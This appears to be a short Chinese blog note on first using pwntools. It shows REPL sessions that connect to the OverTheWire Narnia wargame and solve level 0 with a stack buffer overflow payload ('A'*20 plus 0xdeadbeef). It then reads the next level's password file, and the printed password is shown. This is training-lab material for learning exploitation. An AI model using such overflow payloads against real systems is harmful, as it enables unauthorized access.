pwntools初体验

Python 2.7.12 (default, Sep 28 2016, 18:41:32)
[GCC 4.2.1 Compatible Apple LLVM 8.0.0 (clang-800.0.38)] on darwin
Type “help”, “copyright”, “credits” or “license” for more information.
>>> from pwn import *
>>> help(context)

>>> context(arch=’i386’, os=’linux’)
>>> s = ssh(user=’narnia0’, host=’narnia.labs.overthewire.org’, password=’narnia0’)
[x] Connecting to narnia.labs.overthewire.org on port 22
[+] Connecting to narnia.labs.overthewire.org on port 22: Done
[ERROR] Could not find ‘objcopy’ installed for ContextType(arch = ‘i386’, aslr = True, bits = 32, endian = ‘little’, log_level = 40, os = ‘linux’)
Try installing binutils for this architecture:
https://docs.pwntools.com/en/stable/install/binutils.html
[*] [email protected]:
Distro Ubuntu 14.04
OS: linux
Arch: amd64
Version: 4.8.6
ASLR: Disabled
>>> sh = s.run(‘pwd’)
[x] Opening new channel: ‘pwd’
[+] Opening new channel: ‘pwd’: Done
>>> print sh
>>> sh = s.run(‘ls’)
[x] Opening new channel: ‘ls’
[+] Opening new channel: ‘ls’: Done
>>> exit()
[*] Closed SSH channel with narnia.labs.overthewire.org
[*] Closed SSH channel with narnia.labs.overthewire.org
当然，上面这样直接退出python而代指ssh连接断开有些粗暴。

下面就礼貌些。
➜ Narnia git:(master) python [21:36:07]
Python 2.7.12 (default, Sep 28 2016, 18:41:32)
[GCC 4.2.1 Compatible Apple LLVM 8.0.0 (clang-800.0.38)] on darwin
Type “help”, “copyright”, “credits” or “license” for more information.
>>> from pwn import *
>>> context(arch=’i386’, os=’linux’)
>>> s = ssh(user=’narnia0’, host=’narnia.labs.overthewire.org’, password=’narnia0’)
[x] Connecting to narnia.labs.overthewire.org on port 22
[+] Connecting to narnia.labs.overthewire.org on port 22: Done
[ERROR] Could not find ‘objcopy’ installed for ContextType(arch = ‘i386’, aslr = True, bits = 32, endian = ‘little’, log_level = 40, os = ‘linux’)
Try installing binutils for this architecture:
https://docs.pwntools.com/en/stable/install/binutils.html
[*] [email protected]:
Distro Ubuntu 14.04
OS: linux
Arch: amd64
Version: 4.8.6
ASLR: Disabled
>>> sh = s.run(‘/narnia/narnia0’)
[x] Opening new channel: ‘/narnia/narnia0’
[+] Opening new channel: ‘/narnia/narnia0’: Done
>>> sh.sendline(‘A’*20 + p32(0xdeadbeef))
>>> sh.sendline(‘cat /etc/narnia_pass/narnia1’)
>>> print sh.recvline()
Correct val’s value from 0x41414141 -> 0xdeadbeef!

>>> print sh.recvline()
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAﾭ�

>>> print sh.recvline()
val: 0xdeadbeef

>>> print sh.recvline()
$ efeidiedae

>>> s.close()
[*] Closed connection to ‘narnia.labs.overthewire.org’
>>> exit()
[*] Closed SSH channel with narnia.labs.overthewire.org
[*] Closed SSH channel with narnia.labs.overthewire.org
感觉这样不会有ssh在终端输入的时候的延时问题?
还可以方便地同时在一个终端里做其他事。